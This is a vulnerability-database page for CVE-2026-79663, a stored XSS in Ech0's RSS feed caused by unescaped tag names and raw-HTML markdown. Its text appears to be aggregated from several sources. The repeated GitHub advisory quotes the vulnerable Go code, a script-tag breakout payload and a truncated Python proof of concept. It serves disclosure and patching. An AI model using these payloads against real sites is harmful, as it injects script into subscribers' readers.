CVE-2026-79663
Ech0 before 4.7.3 Stored XSS via RSS feed tag names
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- High
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.8
Ech0 before 4.7.3 Stored XSS via RSS feed tag names
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
- Record
CVE-2026-79663- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-65451
4.8
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
- Record
EUVD-2026-65451- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3v85-fqvh-7rxf
4.8
Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers
Summary
The public RSS/Atom feed at /rss renders two attacker-controlled surfaces without HTML escaping. Tag names flow through fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) at internal/service/common/common.go:120, and the Markdown renderer at internal/util/md/md.go does not set the html.SkipHTML flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom <summary type="html"> is valid XML but contains executable <script> tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin.
Details
Tag sink at internal/service/common/common.go:120:
if len(msg.Tags) > 0 {
for _, tag := range msg.Tags {
renderedContent = fmt.Appendf(renderedContent,
"<br /><span class=\"tag\">#%s</span>", tag.Name)
}
}
fmt.Appendf with %s does not HTML-escape. Tag names come from user-supplied EchoUpsertDto.Tags and are persisted after strings.TrimSpace(strings.TrimPrefix(tag.Name, "#")) at internal/service/echo/echo.go:326, which strips a leading # and trims whitespace but does nothing about HTML metacharacters. A tag name of </span><script>document.title='RSS-XSS-HIT'</script><span>x breaks out of the surrounding <span> element and injects executable JavaScript into the RSS summary field.
Markdown sink at internal/util/md/md.go:
htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |
html.NoopenerLinks | html.NoreferrerLinks
// html.SkipHTML is NOT set
The gomarkdown library passes raw HTML through when SkipHTML is not set. MdToHTML([]byte(msg.Content)) at internal/service/common/common.go:102 produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS summary field.
The RSS feed declares <summary type="html">, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.
Echo creation requires admin role (internal/service/echo/echo.go:54-56 checks user.IsAdmin). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.
Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.
Proof of Concept
Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches /rss and the decoded summary contains executable <script>:
import requests, xml.etree.ElementTree as ET, html
TARGET = "http://localhost:8300"
# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.
owner = requests.post(f"{TARGET}/api/login",
json={"username": "owner", "password": "owner-pw"}
).json()["data"]["access_token"]
tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x"
md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text"
requests.post(f"{TARGET}/api/echos",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"content": "echo with malicious tag",
"tags": [tag_payload]})
requests.post(f"{TARGET}/api/echos",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"content": md_payload})
# Anyone fetches /rss anonymously.
feed =…
- Record
GHSA-3v85-fqvh-7rxf- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79, CWE-116
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9277-65xq-8gww
4.8
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed...
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
- Record
GHSA-9277-65xq-8gww- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
4.8
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
- Record
CVE-2026-79663- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
4.8
Ech0 before 4.7.3 Stored XSS via RSS feed tag names
Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.
- Record
CVE-2026-79663- CVSS 4.0
- 4.8 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-3v85-fqvh-7rxf
4.8
Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers
Summary
The public RSS/Atom feed at /rss renders two attacker-controlled surfaces without HTML escaping. Tag names flow through fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) at internal/service/common/common.go:120, and the Markdown renderer at internal/util/md/md.go does not set the html.SkipHTML flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom <summary type="html"> is valid XML but contains executable <script> tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin.
Details
Tag sink at internal/service/common/common.go:120:
if len(msg.Tags) > 0 {
for _, tag := range msg.Tags {
renderedContent = fmt.Appendf(renderedContent,
"<br /><span class=\"tag\">#%s</span>", tag.Name)
}
}
fmt.Appendf with %s does not HTML-escape. Tag names come from user-supplied EchoUpsertDto.Tags and are persisted after strings.TrimSpace(strings.TrimPrefix(tag.Name, "#")) at internal/service/echo/echo.go:326, which strips a leading # and trims whitespace but does nothing about HTML metacharacters. A tag name of </span><script>document.title='RSS-XSS-HIT'</script><span>x breaks out of the surrounding <span> element and injects executable JavaScript into the RSS summary field.
Markdown sink at internal/util/md/md.go:
htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank |
html.NoopenerLinks | html.NoreferrerLinks
// html.SkipHTML is NOT set
The gomarkdown library passes raw HTML through when SkipHTML is not set. MdToHTML([]byte(msg.Content)) at internal/service/common/common.go:102 produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS summary field.
The RSS feed declares <summary type="html">, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip.
Echo creation requires admin role (internal/service/echo/echo.go:54-56 checks user.IsAdmin). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers.
Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class.
Proof of Concept
Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches /rss and the decoded summary contains executable <script>:
import requests, xml.etree.ElementTree as ET, html
TARGET = "http://localhost:8300"
# Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown.
owner = requests.post(f"{TARGET}/api/login",
json={"username": "owner", "password": "owner-pw"}
).json()["data"]["access_token"]
tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x"
md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text"
requests.post(f"{TARGET}/api/echos",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"content": "echo with malicious tag",
"tags": [tag_payload]})
requests.post(f"{TARGET}/api/echos",
headers={"Authorization": f"Bearer {owner}",
"content-type": "application/json"},
json={"content": md_payload})
# Anyone fetches /rss anonymously.
feed =…
- Record
GHSA-3v85-fqvh-7rxf- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-116, CWE-79
- Updated
- 2026-11-02
OSVGO-2026-5100 No score
Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers in github.com/lin-snow/ech0
Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers in github.com/lin-snow/ech0
- Record
GO-2026-5100- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lin-snow/Ech0Go |
before 1.4.8-0.20260503035519-fd320fe3e902 | 1.4.8-0.20260503035519-fd320fe3e902 |
github.com/lin-snow/ech0Go |
before 1.4.8-0.20260503035519-fd320fe3e902 | 1.4.8-0.20260503035519-fd320fe3e902 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-79663 is a medium vulnerability (CVSS 4.8) in Lin-snow Ech0, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in github.com/lin-snow/Ech0 1.4.8-0.20260503035519-fd320fe3e902.
References
github.com/lin-snow/Ech0/security/advisories/GHSA-3v85-fqvh-7rxf
vulncheck.com/advisories/ech0-before-stored-xss-via-rss-feed-tag-names
github.com/lin-snow/Ech0/commit/fd320fe3e9021c8d8d284fb274775c018690520e
github.com/advisories/GHSA-3v85-fqvh-7rxf
nvd.nist.gov/vuln/detail/CVE-2026-79663
github.com/advisories/GHSA-9277-65xq-8gww
github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79663.json
github.com/lin-snow/Ech0
Left out here: the rest of 2 source descriptions. The JSON record has them.